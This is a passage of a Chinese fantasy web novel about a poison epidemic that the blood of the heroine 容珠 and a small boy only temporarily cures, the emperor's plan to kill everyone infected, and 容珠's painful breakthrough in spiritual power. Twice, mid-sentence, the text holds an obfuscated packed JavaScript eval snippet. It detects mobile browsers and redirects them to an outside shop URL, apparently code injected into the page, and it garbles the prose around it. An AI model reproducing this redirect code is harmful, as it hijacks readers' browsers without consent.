意外,震惊,怀疑瞬间涌入容珠脑中,小男孩稚嫩白皙的胳膊上的那一道血口不是扭转困境的突破口,反而像是在原本焦灼的境况中突然出现的一小条浮木,随时都有被吞噬的可能。 “你自己伤的吗?” 小男孩点头:“我拿厨房的刀割的,娘亲每日吐那么多血,我不吐,我把自己的血分给娘亲。” 这伤口看起来有两寸,目前血已经止住了。 容珠看着他:“你喂了多少?” “一些……” 容珠有点心慌,她看了看其他躺在病床上的人,他们还在安静地睡着,她转头问小徒:“李大夫知道吗?” “跟他说过了。”外头有脚步声传来,小徒去掀帘,来者正是李大夫。 “我们先出去。”容珠拉着顾云萧出门。四人来到院外,容珠方问:“李大夫,小男孩的血竟解了这毒,怎么会这样?” 李大夫的表情尚处在听了此事后的惊愕状态,缓了缓道:“我当医者这么多年,从未在医书上见过人血做药的说法,但如今真切发生了,我想,此毒本来就不是普通的病也不是轻易能解的毒,或许它的解法就是如此奇特。” “那中毒百姓不就有救了,只要小男孩的几滴血就可以救活一个人!”顾云萧说这话的同时,小男孩正站在门口看着他们。 “此事没有这么简单。”容珠说,“先不说为什么他的血可以解毒,颖城如今中毒者众多,要是每个人都需要小男孩的几滴血,那他的身体受不受得住?他要一直流血,他的母亲岂不心疼?还有小男孩自己,他愿不愿意?他只是个孩子。”容珠锁眉:“为什么不是你我的血可以解毒,却偏偏是一个普通的孩子。” 顾云萧张张嘴,心道自己方才说的话有些欠考虑,再想想不免气道:“什么毒竟需要人血来解,太阴险了!” “小男孩中毒期间只有我和二位姑娘轮番照顾,他一直躺在床上,也未饮过谁的血,究竟是怎么康复的?这毒肯定另有解药,或许我们的确遗漏了什么细节。” 李大夫这些天劳心劳累憔悴了不少,纵使没中毒,眼下这副哀愁的模样也显得他虚弱不堪。 小男孩转身进屋,走到病床前对精神大好的妇女说:“娘亲,我的血治好了你,是不是也能治好其他人?” 妇女心头一颤,望着小男孩的双眼微微颤动,她伸出手,轻轻摸着孩子的胳膊,上面这条暗红的血线一下子勒住了心,齿缝间残留的血腥之气瞬间活跃了起来,仿佛长了牙齿,一点一滴啃噬着自己的血肉。 当时她睁开眼,感觉眼前被什么东西遮住了,紧接着,有东西滴到了嘴上,带着温热,顺着唇缝渗了进去,她舌尖微微一动,猛地被弥漫上来的味道惊到,孩子的双眼从胳膊后露了出来,目含期待地问:“娘亲,你好些了吗?” 身体发肤,受之父母。可身为父母,也不忍子女伤痛,更何况饮子女之血。血在舌上,烫如火灼。妇女摸了摸他的脑袋,心痛道:“娘不想让你受苦,你只是一个孩子,他们会有办法的。” 中毒一事从原先的无人上心到如今开始有些沸腾之势,天天都有人被传染,一个,两个,每天不定数,越来越多的人神情严肃地讨论此事,薄雾般的恐慌一点一点蔓延在颖城这处普普通通的地方。 每个人都没意识到已经有十几天没下雨了,天仍旧是阴森的,太阳像被囚禁起来似的不得露面。 离魔龙所说的三月之期没剩几天了,在一个平静无风的午后,瓢泼大雨忽然从天泼下,才半个时辰,没有施加避雨屏障的路面已经成了一条浅浅的河流,湍急地冲刷着泥土残叶,散发着潮湿泥泞的味道。 小男孩的血能解毒一事容珠告诉了沈宫主,沈宫主思量后找了小男孩的母亲,得知这位妇女的确是在沾了几滴小男孩的血后不久就明显地感觉到身体好了许多,但身为一个母亲,爱子心切,自己尚且心痛不已,实在不忍心让小小孩子受苦,希望沈宫主保密。 沈宫主抚上她瘦弱的手道:“你的孩子就不是喝了谁的血康复的,说明此毒还有其他办法可解,人血解毒本就匪夷所思,他是一条生命,不是药材,解毒是各门各派的职责,我们会想办法的。” 她看了看旁边坐着的小男孩,他十分安静,看着沈宫主的眼透露着乖巧和聪明,沈宫主笑问:“他叫什么名字?” “他姓傅。”妇女说,“叫傅安。” * 容珠在平安医馆的上方施了避雨屏障,这个时辰是病人们用药的时候,小男孩和他母亲如今已经康复,按理说可以回家了,不过这位妇女咯了好几天的血又没好好吃饭,身子有点虚弱,走路无力,李大夫便让她再休息几日。 送药的小徒步履匆匆,容珠见避雨屏障罩得差不多了正欲收手,便见远处天空中飘来一卷缠绕着红色灵力的信纸。 “是阿琛的灵力。”沈宫主从屋里出来正好看见了这一幕,她知道灵力虽然是上官琛的,但纸上内容另有他主。 容珠展开一扫,信上的内容和沈宫主从紫阳宫回来后跟她说得差不多,赵皇帝中毒,周望摄政,邱梧和顾寄章去找黑石甲了,最后还有一句“照顾好自己,多加小心。” “你师父想你了。” “嗯?” 沈宫主直言不讳,容珠心里漏跳一拍,捏着手上的信不知要如何安放。 沈宫主颇有深意地看着她:“你监工回来的第二天应白就出去找灵根草了,前几天应白刚回紫阳宫,你就来了颖城,好好的师徒,怎么玩起了捉迷藏?你们俩都有心事,但谁都不说,这样是改变不了状况的,只有说出来,才知道对方在想什么。” 沈宫主来到她身边:“其实这话我应该先对应白说的,但我隐约感觉到困惑现在转移到了你身上。容珠,你不喜欢应白吗?” 暴雨打在避雨屏障上的声音轰轰作响,密集的雨点仿佛不停地敲打心间。 容珠缓缓看向沈宫主,对方的眉眼之间留下了岁月的痕迹,小小的褶皱不仅不影响容颜还添了几分温柔宁静,她身上总是散发着温暖气息,像冬日里的太阳,让人总想依恋。 她踌躇片刻道:“有人对我说师徒有别。” “师徒有别?”沈宫主微微一笑,轻轻拉容珠到旁边的石块上坐了下来,“我娘还是我爹的师父呢。” 容珠讶异。 “礼书上的确有师徒有别这一说,过去的人认为师父是长辈,即便师徒之间没有血缘之亲也不被允许有过界之举。” 沈宫主缓缓说着,“尊师重道没有错,因为有些东西总要有人传承,徒弟敬重师父,师父爱护徒弟,这是自然而然会产生的师徒情,纯粹的师徒情有时候超越亲情和友情,因为人是血肉做的,谁都不是冷冰冰只会互相交流的躯壳。” “但人的情感是复杂的,各人的不同经历注定了他对情感有不同的需求和理解,有时候师父把对徒弟的欣赏,骄傲,爱怜或者心疼当作了喜欢,有时候徒弟把对师父的崇拜,敬仰当作了喜欢。规矩都是有过损失和伤害的先例才被人定出来的,之所以说师徒有别,是因为有的时候人根本分不清自己的感情到底是什么,以为的喜欢不一定真的是喜欢。 “师徒有别的根本原因不是师父和徒弟这个身份,而是他们在朝夕相处,传授和学习中误会了自己的心,没有明白什么才是爱情。”沈宫主看着容珠,忽然想到了自己的两段婚姻。 “爱情是真诚的,它不会欺骗人,喜欢不喜欢,爱不爱,它总会不停地告诉你,时间久了它会让你真正看清自己的心,再继续下去就是折磨自己。爱情的种子不是对一个人的爱怜或崇拜,这些顶多发芽,长不成参天大树。爱一个人需要三思,令你心动的应该是这个人的内里,而不是其 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有那么一会儿,容珠忘了自己身在何处。她暂时从颖城,从平安医馆里脱离出来,她不知道自己在哪,她注意不到周围发生的一切——小徒来往的身影,暴雨噼啪的巨响。 她进入了一个只和沈宫主在一处的虚幻之地,她静静地听着沈宫主说话,闻她衣衫上散发着的淡淡香气,感受她的手掌抚在自己肩头上所带来的温暖,像冬日的阳光那般柔和。 她注视着沈宫主的双眼,带着几丝褶皱的笑容让她倍感温情,她浅浅一笑,看着手中被自己捏皱一角的信纸说:“沈宫主,谢谢你。” 沈宫主玩笑道:“别说‘谢’,你跟我说说是谁告诉你这混账话的?邱梧懂事,肯定说不出这种话来,难道……是阿琛?” 容珠忙说:“不是。”她停顿了一下,“是周大人。” “周望?”沈宫主神色一变,和周望过往的交情以及左相的临终遗言飞快从脑子里闪过,沈宫主仍有些不太相信,“他不像个迂腐之人,怎么对你说这个。对了容珠,你跟周大人去监工那段时间应该跟他有很多接触,你觉得周望此人如何?” 容珠隐约感觉到沈宫主这话另有他意,她不确定,只实话实说:“监工期间,我跟周大人说不上几句话,他有些寡言沉默,有时候看他的眼有种没来由的凌厉,但回程时他跟我说民为一国之本,国家兴衰源于民生幸福与否,我想是雨灾带给百姓的伤害让他心有感慨,总的来说,周大人还是很有见识与才华的。” 沈宫主没有再说,只点点头。 二人沉默了一会儿,突然听见身后掀帘的声音,一个小徒面含惊色,快步朝这边走了过来:“沈宫主!容姑娘!” 那人慌道:“有人没气了!” 噩耗突如其来,打得人蒙了片刻,容珠和沈宫主的心猛地悬到了嗓子眼儿,一丝丝不详笼罩上脑,沈宫主严肃道:“快带我去看看!” 二人随着着急忙慌地小徒进到了病房,小男孩傅安和他母亲还不知道发生了什么事,目不转睛地看着几人来到一个老头儿的病床前。 沈宫主伸指摸老头儿脖颈,发现果然没了跳动,对小徒道:“去叫李大夫来!” 小徒应声慌里慌张去了,沈宫主当即运转灵力握紧了老头儿瘦如骨头的手腕,非常关头用非常方法,先保住命,其他的再想办法,她要尽力抓住任何一点可能。 傅安好奇地问妇女:“娘亲,那个爷爷怎么了?” 妇女没有回答,她目光略带惊恐地注视着那张床,紧紧握住傅安的手。 李大夫和顾云萧匆匆赶来,二人刚在地里摘草药,手上的泥还没洗就跑了过来,沈宫主近乎透明的灵力像薄薄的一层雾笼罩着这张床。她慢慢松开了老头儿的手腕,看向李大夫:“无力回天。” 这时,另一个小徒从外面飞奔进来,本着不打扰病人的原则在几人旁边小声喘道:“外面来了好些中毒之人,有个老太太送过来就没气了。” 116. 假象 颖城各处的大门在一日之间全都被颖城知府下令关闭了,不让百姓出也不让百姓进。 闭城这样的大事按理讲要先请示赵皇帝,但如今情况凶猛,等批准期间又不知要横生多少变故,沈宫主先请示了三皇子,得到三皇子的允许后告知颖城知府关闭城门,随后再写奏折上奏赵皇帝。 由于赵皇帝正是看了三皇子从颖城来的奏折中毒的,为保谨慎,沈宫主还特地用艾草熏了熏这封折子。 死的老太太正是容珠那天送面罩安慰的人,病房里的老头儿是她的老伴。老头儿中毒中了十多天,吐血吐得伤透了身体,支撑不住,去了。据送老太太来的邻居说,老太太是当天吐的血,刚送到医馆竟也去了…… 老夫老妻仿佛商量好了一起走,刚下完葬,这件中毒夫妻同一天死的消息像大雨一样毫不留情地泼洒在棉县每一个人身上。所有人都意识到这个毒是会死人的!所有人都意识到中毒的人不一定哪天就死了! “让我见见我妹妹吧!我要见她!” “我要见我爹!我要照顾他!” “放我们进去!放我们进去!” 沈宫主在医馆大门口施了个屏障,把想要探病的人隔在外面,焦虑和慌乱包裹住每一个人。 阻止亲人探病不对,放亲人进来探病又会有多一个人被传染的风险,可里面那些人不知道什么时候也会离世,难道让他们的亲人连最后一面也见不到吗?难道为了避免见不到最后一面就要让更多的人遭受病痛? 沈宫主站在性命至上这个角度忽然产生了自我怀疑:到底病痛更痛还是亲人分离更痛? 多人间的病床已经满了,新中毒的人安排到了其他的房间。傅安看着新中毒的人和原先老头儿躺的床上现在躺了个陌生的面孔一言不发,良久,他看着妇女说:“娘亲,我不怕疼。” 妇女双眸一颤,嘴唇颤抖道:“可是娘亲会疼。” 傅安拉住她的手:“娘亲虽然疼,但我不会离开娘亲,如果不救他们,他们就会离开他们的家人,他们的家人会更疼。” 傅安的小手握了握妇女不住颤抖的手指。 要办法没办法,要解药没解药,黑石甲也不是说去找就能找到的,即便沈宫主已经让所有门派之主及弟子出去寻找,也不知何时才会有结果。就在众人陷入愁绪茫然无措之时,傅安找到了沈宫主声称要献血。 “我娘亲同意了,我不怕疼。” 沈宫主看着这个才六岁的孩童登时内心一阵绞痛,她蹲身去看他胳膊上的伤口,伤口还没开始结痂,周围有一圈淡淡的红。 “等等!”容珠倏地站起来,看着傅安清澈明亮的眼就让她想起他躺在床上想吃糖的模样,因为跟自己有过相似的经历,小男孩在她心中是特别的,为什么这种毒一定要通过他的血才能解? “李大夫,沈宫主,你们曾说从来没听过人血可以当药材,现在傅安的血救活了他的母亲,开辟了先例,那对这个毒来说到底是傅安的血可以解毒还是只要是人血就能解毒?” 沈宫主缓缓睁大了眼。 容珠道:“我有一个想法,我先用我的血试试看。如果把所有人的性命都压在傅安身上,那太残忍了,他只是一个孩子。” 话毕,容珠快步走向病房,用灵力在手心割了道口子,拿过放在床头的碗接了小半碗,舀了一勺送到一个中毒之人的嘴中。 “傅安,你还记得你喂完你娘亲过了多久她才好的吗?” 傅安看着她指尖上的血说:“很快。” “既然如此,我们也来试试吧。” 沈宫主、顾云萧和李大夫都各自献了血,每个人心中都含着期待,希望乌云散去,曙光乍现。 外头的瓢泼大雨没有停歇的迹象,这三个月来虽日日下雨,但好像都没有这么大过,劈里啪啦的雨点打在每一个人的心上,催促着时间过得快一些,快一些…… 过了一会儿,容珠跟前的病人咳嗽了几声,缓缓睁开眼,众人的目光齐刷刷落在她身上。这是一个年轻女子,今天刚被送过来的,她先是茫然地看了看四周,发现有很多人在看她,她弄不清发生了何事,嗓音沙哑道:“我在哪?你们是谁?” 容珠上前俯身回答她:“你被传染了,这里是平安医馆,你现在觉得怎么样?身体还难受吗?” 女子反应了一会儿后开始感受着自己的身体,片刻后道:“我记得我咯血了,当时很难受,像快死了一样,但是现在……好像没那么难受了。” 众人惊喜。但…… 半个时辰后,女子已经能下床了,其他人各自呕了口血出来,继续昏睡过去。 也就是说,此毒不是人血就能解,目前来看,傅安和容珠的血才有解毒作用。 事情总归有所进展,不必将所有的希望都压在小男孩身上,容珠又挤了些血出来,给病房里其他人都喂上,不出一刻钟,所有人都醒了过来。 喂完平安医馆所有中毒之人耗费了两小碗鲜血,李大夫不忍道:“此法太过消耗气血,容女侠不是仙人,天天如此,身体怎么受得了?我让厨房做些药膳,万望容女侠保重身体。” 容珠谢过李大夫,随后让沈宫主带着自己的血去救三皇子和赵皇帝。 凭空现出解药一事很快在百姓之间传开了,医馆外央求着照顾家人的百姓终于得偿所愿,一窝蜂地涌了进去。 现在还有很多人等着救,但实际上如果都要今天救那容珠就不必活了,李大夫再三叮嘱她和傅安,若是感到头晕发冷就不能再放任流血了。说着说着,李大夫仍是不放心,不同以往医者仁慈的形象,蓦地严肃道: “容女侠,如果你决定这么做,从今天开始,你的命就不由你做主了,我会日日给你把脉,并根据你的身体情况有权让你献多少,或者不献。” 这话听起来像威胁,容珠没有下意识想反抗,反而觉得有一种奇妙的感觉环绕在心头。在平安医馆和李大夫共同做事这么多天,好像今日才认识了这个老头儿。 顾云萧当即站在李大夫这一边:“您放心,还有我!” 容珠无声地笑了起来。顾云萧看着容珠腕间的血滴答滴答滴在碗里,奇怪道:“傅安的血能解毒是因为他莫名康复了,可能血里含有这种毒需要的解药,那你的血能解毒是因为什么?” * “容珠的血是解药?” 别说应白,事情的变化让紫阳宫每一个人都意外不已。 沈宫主知道应白心里急,她补充道:“是容珠和一个叫傅安的小男孩的血可以解毒。” 应白不理解:“什么毒需要人血来解?喂一个人要多少血?容珠每天要流多少血?” 他怎么不知道这世间还有如此阴险恶劣之毒!对付一个魔龙就够困难了,现在还有一个泥鳅精所说的神秘大妖,它为什么要针对容珠?为什么容珠的血能解毒? 应白此刻的面容虽没有像他心里那般激烈,但站在他身边的上官琛和邱梧已然感受到了他周身波动的克制和急切。 邱梧道:“母亲,光靠容珠的血来解毒是不行的,即便有傅安,也不可能短时间顾得过来颖城那么多中毒之人,现在所有人都知道他们的血可以解毒,且中了毒的人随时都有可能丧命,肯定会有很多人来求容珠和傅安让他们先救自己的家人。” 沈宫主现在的愁大于发现解药的喜,颖城之毒的危机眼下看来并没有因为发现了解药而有什么好转。 “我已经对容珠和颖城知府说了,优先给中毒时间久的人喂解药,平安医馆的李大夫和云萧每天都会看顾容珠,确保她不会因为献血过多而损伤身体。” “沈宫主,”应白抬起头,身体紧绷着,一双眼里情绪翻涌。 灵根草找不到,他没有修炼的资格,没有灵力,他不能随心所欲地想去哪儿就去哪儿,他看着紫阳宫的弟子各人踩着各自的佩剑“嗖嗖嗖”地出发,前往各地寻找黑石甲,他也想帮忙,可跟上是累赘。 他去了颖城又能做什么? 这些心事和情感他隐藏在心底,每一天每一夜都要在脑海里不停喧嚣。 重新拥有灵力要么找到灵根草修炼要么去圣灵宫拿回,灵根草找不到,又没能力去圣灵宫… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061094|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 他什么都没有。 挥之不去的心事总会随着事情得不到解决以及所带来的灰暗后果让人在一日一日的思考下终会因一件冲击情绪的事而感到人生走入了绝路。 这感觉被关押在漩涡之境还要绝望。 “我明白容珠的决定,心怀大爱是突破,可惜我不能替她,不能同她一起分担,还请沈宫主照顾好她。” 沈宫主想开口说什么,一个紫阳宫弟子匆匆来报:“宫主,弟子回来经过石碑处发现在排队验血的百姓中有一人忽然开始咯血,人已经送往医馆了,大夫说脉象强劲有力,诊断不出吐血因由,眼下都城百姓还不知道中毒这件事,您看要不要上奏陛下,对百姓说明此事,让他们开始防范?” 颖城关闭城门前那几日,有不少外地来此采买或本地去别处游玩的百姓来回穿梭。赵皇帝因为三皇子从颖城送来的折子都能被传染,那都城有百姓中毒定是因为有去过颖城的百姓来了都城。 颖城到都城中间还有其他城,沈宫主意识到这一点后缓缓道:“不仅是都城百姓要知道,照此情况来看,在没有彻底解毒前,朝荣国所有城门都要尽快关闭,不能让百姓继续来往了。” * 瓢泼大雨下了三天三夜,建的沟渠和水道已经被冲得乱七八糟,道路、街市、村镇、田地,到处都成了不深不浅的河流,带着各地的泥土、垃圾、树杈、衣裳胡乱流淌,哪里都是一片狼藉。 雨停了的第四天清晨,太阳猛地从云层后乍现,融化了厚重的积云,金灿灿的曙光陌生又神圣地打在朝荣国的每一处地方,它用最闪耀热烈的方式提醒着所有的人类、动物、草木和房屋,三月雨灾结束,它回来了。 颖城百姓的毒好像因为太阳的到来有所缓解,新中毒的人数大大降低,容珠和傅安每日在李大夫的监督下流适量的鲜血给中毒之人解毒,没再有人因中毒而死亡,朝荣国似乎迎来了新生。 赵皇帝身子康复后继续在床上休养,他认为既然有了解药,那关闭朝荣国所有城门便十分小题大做,都城现在已经没有中毒之人了,若以后有什么变故他再让天师传信给沈宫主。 沈宫主看了周望一眼,摄政之臣周望没吭声,他站在一旁从头到尾没有说一句话,似乎周围发生的事情跟他无关。。 “颖城一事,沈青寒没研制出解药,随后先斩后奏关闭了颖城城门,还想给其他百姓制造可能会中毒的恐慌,老三还在那儿没回来,容珠又是紫阳宫的人,颖城快成了她的地盘……”赵皇帝倚在枕头上目光警惕地看着空荡荡的门口。 周望随着他的目光也望向门口,太阳的光线泼洒进来,照得寝殿金碧辉煌,他轻轻一笑,慢悠悠说:“陛下多虑了,沈宫主能力非凡,得各派和百姓们的爱戴敬重,又怎么会有篡位之野心呢?” * 解毒一事在有条不紊的进行中,天气好了,顾云萧和两个小徒把病房里发潮的被子拿到外面去晒,天空中的太阳像是被关起来太久,憋得狠了,大肆释放着它的光芒和温暖,时至中午已经有盛夏的热意了。 容珠这两天一直在手臂上换位置献血,好好的一条胳膊绑了好几个纱布,每天要上药三次,李大夫特地在药里加了不留疤的药材,顾云萧看时辰差不多了,弄好了被子准备给容珠抹药。 李大夫在前堂称药,门外的街市上人烟凋零,每人每天除了有必须要采买的东西外基本不会出来,天一黑,原先热闹的茶楼酒馆也早早关门了,在此毒未彻底解决完之前,人人都很爱惜自己的身体。 李大夫把称好的药一小堆一小堆的放在一旁,忽然听见门外有人叫他。 “有人吗?有人吗?救命啊!”说话的妇女扶着一个年轻女子一步一停上着台阶,李大夫出来见状忙问:“怎么了?她中毒了吗?” “是!是!我女儿又中毒了!” 李大夫闻之色变。 那个妇女扶着她女儿上楼梯身子不稳,摇晃间,中毒女子的头朝后仰了一下,李大夫很快认出来,此女子正是容珠前两天说要试试自己的血行不行后救活的第一个人。 117. 撕裂 “这是三皇子从颖城送来的折子,已经用艾草熏过了,陛下放心。”周望将手里的折子递给小太监。 赵皇帝心有余悸,面上却维持着君王之姿,他打开折子看过后皱眉道:“解药不管用?” 他黑沉的眼眸一上一下地扫视着折子上的每一个字,后知后觉震惊道:“容珠的血只能暂时救治中毒之人,还会有再次中毒的可能!” 自容珠发现自己的血能解毒后到目前为止已经连着放了八天的血,结果原先解过毒的人又陆陆续续中毒了。 “也就是说……”赵皇帝慢慢将奏折合上,迷茫又恐惧地看着周望:“寡人还会再次被传染?寡人还要不停咯血?寡人还要经受那种难以言喻的折磨?” 周望安慰道:“陛下不必担忧,您是朝荣国之君,容姑娘和沈宫主一定会保护陛下的安危。” “是不是沈青寒耍的花样?她是修炼之人,弄些什么灵力法术法制造事情,想谋害寡人?”赵皇帝把奏折往桌上一拍,大有要下令处决沈宫主的气势。 周望不急不慢道:“臣蒙陛下信任器重,担任摄政大臣,若陛下有一天再次中毒,臣一定会第一时间向容姑娘寻来解药给陛下服下,有臣在,陛下放心。” 赵皇帝瞪着双眼平静了一会儿,咯了两天血让他整个人看起来瘦了一圈,脸上的病气尚存少许,被来回起伏的情绪冲击得更显疲惫。 “不。”赵皇帝抬起一只手臂,他摇摇头看着周望:“不是这么回事。爱卿,你没听到吗?沈宫主他们还没有找到黑石甲,容珠的血只能暂时解毒,即便有她的血又如何,寡人还有被传染的可能,难道只因有容珠的血,寡人就要心甘情愿一遍遍经历中毒后的折磨吗?” “这样是不行的。”赵皇帝一遍遍重复着。 周望眯了眯眼问:“陛下有何想法?” 赵皇帝站了起来,一双含着后怕恐惧的眼看着周望,他一步步走下阶梯,一字一句说:“没有真正的解药,其他无辜的百姓就会受牵连,再过段日子,谁知还有多少百姓惨遭此毒?为什么不现在就果断一点,把所有中毒之人全部杀死,不就不用担心毒会传染了吗?还有什么后顾之忧?” “杀死所有中毒之人?”周望平静地重复着赵皇帝的想法。 “对啊,爱卿觉得是不是这个道理?”赵皇帝站在离周望三步远的地方神采奕奕地看着他。 “为了不让更多的百姓经历中毒后的折磨而杀死已经中毒的人,保全大多数人,这不是现在最快最有效的方法吗?点亮石碑的容女侠也不必再流血,各门各派更不用满朝荣国去找那个谁也没见过的黑石甲,费这些事还不能扭转现状,他们若真为百姓着想,就该想到这个办法的!” “陛下,”周望垂眸复又抬起,俊朗得异常的脸扬起一抹微笑,“臣认为此主意,甚好。” * “好了还会复发,那容珠血流尽也救不完颖城百姓!上天怎么如此捉弄人!难不成还要我们找来仙丹吗?!”顾云萧情绪激动起来什么也不顾了,一副要上天干仗的样子。 但生完气又意识到自己根本无可奈何,她不禁来回踱步,“如今可如何是好?容珠不能一直流血,黑石甲也找不到,这该死的毒到底是怎么来的!” 烈阳下,医馆外又围堵了不少人,无非是问为什么吃了解药还会被传染。真奇怪,只有傅安和他母亲康复后再也没有中毒,容珠和傅安的血都不能彻底解毒,能根治此毒的东西到底是什么? 这两天颖城中毒的人又有增加的迹象,仿佛前几日的平静只是稍作休息。 “会不会是血喂得少了?”容珠看着自己满是纱布的两条胳膊若有所思。李大夫摇头叹息道:“容女侠这些天流了不少血,就算要再割,也得缓半月再说。” “缓半月……”容珠望着门外,目光忧愁。缓半个月又会是什么景象?每日不知多少人在医馆外面求救,耽误一日就有可能面临有人死去的风险,各门各派这么多人还在朝荣国里寻找一个石子儿大小的药材,大海捞针,谈何容易? 局面似乎再次走进了一条死路. “李大夫。”容珠下了决心,“我们没有别的办法,我答应你,不会过度伤害自己的身体,我现在也仅仅是最好不要流血的状态,还没到不能再流的地步,一切还是按照沈宫主说的那样,先供血给中毒时间久的人,所以,还是继续割吧。” “傅安也要!” 傅安一只胳膊上缠了四条纱布,他撸起另一只胳膊上的袖子,露出光滑整洁的手臂,“你们不要说我是小孩子,我还是男孩子呢!我爹一直告诉我身为男孩子要有担当,要乐于助人。” 他说得响亮清晰,配着小孩子特有的稚嫩声音,一点也不会让人觉得天真好笑,反而不约而同地从心底涌上一阵强烈的震撼。 容珠抱了抱他:“那我们一起吧。” 李大夫连连叹气,默许他们朝生命的边缘一点点靠近。而就在容珠拿起刀要割的时候,她的脑子忽地像被刀割似的疼痛,激得她手腕一颤,刀子顺着空隙落了下来碰到瓷碗发出清脆的撞击声,旁边三人纷纷看向她。 痛感很快加深,仿佛要将她从两边撕裂,她觉得天旋地转,忍不住跪在地上双手紧紧地抓着脑袋。 顾云萧一惊,连忙蹲身问她怎么了,容珠听不见顾云萧的呼唤,只觉脑中嘈杂,有很多声音在跟她说话,在这万千纷杂的声响中,渐渐出现一个女声吼道:“你不能这么做!你不能帮助低贱之人!他们不配!” “这不是你要做的事!你的血多么珍贵,怎么能如此浪费!” “爱是低贱之物,你没有爱人的能力!” 顾云萧慌了神,她发现容珠好像听不见自己说话,她猜想会不会是因为容珠流血太多的原因,让李大夫帮忙控制她,看看能不能通过脉象来得知容珠究竟怎么了。 傅安伸着胳膊呆立在一旁,被这突如其来的变故惊到了,他看着李大夫和顾姐姐两人都放不下容姐姐的手,容姐姐痛苦极了,她倒在地上蜷缩着身子,一声不吭,却在不停地流泪。 容珠满脑子都是这陌生的声音,在这声音之下还有很多细小的杂音,它们好像被这道声音镇压着,那么微弱,渐渐地快要听不到了…… 女声欲说欲狂,就在这时,灵核蓦地发烫起来,霎时将女声压了下去,这种烫像在身体里燃烧了一把火,容珠只觉肝胆欲裂,忍不住痛呼了出声。 “怎么办?怎么办?”顾云萧急得手足无措,“沈宫主不在,容珠万一有个三长两短怎么办?” 脑子的刺痛和灵核在身体里的灼烧要把她的灵魂撕裂了!她紧咬着牙齿,身体不住地蜷缩,眼前一片漆黑…… “珠儿。” “珠儿?” 脑子里咆哮的女声渐渐模糊,一个温婉熟悉的声音充盈耳边。 “珠儿,怎么又欺负你表妹?” 混着泥巴的手小小的,粘连着指缝,映出一张糊满泥巴的脸和一双清澈,带着恐惧和倔强的眼睛。 眼前一黑。紧接着,昏黄的烛光下,一个模糊的女人抚摸自己的头,目光慈爱。 “珠儿,众生平等,没有高低贵贱之分,心若没有爱滋养,活着是会痛苦的。” 她抬手擦什么,手背上沾了一片湿意。 “眼泪不是弱者的表现,那是心在跟你说话,我们需要情感,这不仅不羞耻,我们也要把它带给需要的人。你要记着,爱才是人身上最强大的力量。” “容珠!容珠!”顾云萧被容珠一动不动的模样吓哭了,泣不成声说:“容珠你别死……” “顾姑娘,你别乱说,容女侠舍血救民,上天怎么忍心收她的命呢……”李大夫收回了把脉的手,容珠的脉象一团混乱,他行医这么多年从没见过这样的脉象,这绝对不是个好迹象。 “你不能这样做!”女声复又咆哮起来,将温婉熟悉的声音震碎压制,黑暗回归。 “你有灵力了,去做你该做的事!容珠,你不会帮助别人的,因为你……” “走开!”容珠蓦地撑起身子,朝那不知名的女子狠狠吼了一声。她最讨厌,最讨厌,最讨厌别人束缚她,指责她,这种口气,这种高高在上的口气,她绝不允许这样的人教她该怎么做! 她认为对的事那就是对的!她现在拥有的朋友,体会到的温暖与快乐都是因为有爱才得到的,爱自己,爱别人才是她真正要做的事,关键是,她想要这么做! 灵核的烫忽然转变成一股一股清凉的气流贯穿全身,脑子里所有声音顷刻间都消散了,容珠的意识渐渐回转,她感受到自己的灵力正飞速迅猛地经过奇经八脉,游遍全身,浑身轻盈畅快如获新生。 这感觉太熟悉了,她缓缓睁眼,体内的灵核还在不停地释放,吸收,释放,吸收…… “容珠……”顾云萧顶着一张满是泪痕的脸惊讶无比地看着她,眼前之人浑身上下萦绕着淡黄色的灵力,较之刚才的异常状况,现在更是匪夷所思,“你……” “容姐姐要升仙了!”傅安天真地开始想象,露出了小孩子的崇拜神色,将方才的害怕情绪一扫而尽。 李大夫看她的状态和气色恢复过来了不禁后怕道:“容女侠,你方才是怎么了?可有什么异常之事发生?” “我……”容珠刚开口说话,便见眼前闪过一道影,顾云萧风一般抱住了容珠,在她耳边哭腔道:“你要是出了事我怎么跟沈宫主说?你要是有三长两短,应公子和周大人岂不是要伤心死?” 顾云萧的拥抱很有冲击力,容珠从她手臂的力度就能感觉出她的心情,她不知道这跟周望有什么关系,想细问,但顾云萧已经放开了她,将她浑身上下看了个遍:“容珠,你的灵力提升了对吗?” 容珠点头。 “你每次提升灵力都这么痛苦吗?你方才在叫谁走开?有什么东西附在你身上吗?”顾云萧放松下来后连环炮似的问,她只知道容珠修炼困难,一开始来紫阳宫的时候并没有多少灵力,并不知道容珠的灵力提升跟常人修炼不一样。 容珠想了想垂下睫毛摇摇头:“我也不知道刚才为什么会那样,总之我现在没事了,你们别担心。” “没事就好,没事就好。”李大夫长长舒了口气,又回归唠叨:“容女侠今天还是不要献血了,等沈宫主来看过你后再说吧。” 容珠平复了一会儿,起身走向桌前,拿起银刀就往胳膊上割了一刀,鲜血滴滴答答流入碗中,她回头朝李大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066177|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫道:“您放心,颖城百姓的毒要解,我自己的命也是命,我也要珍惜。” 在力所能及的范围内提升他人的幸福是帮助,在明知会损害自己利益或身体的情况下依然决定帮助别人,是大爱。 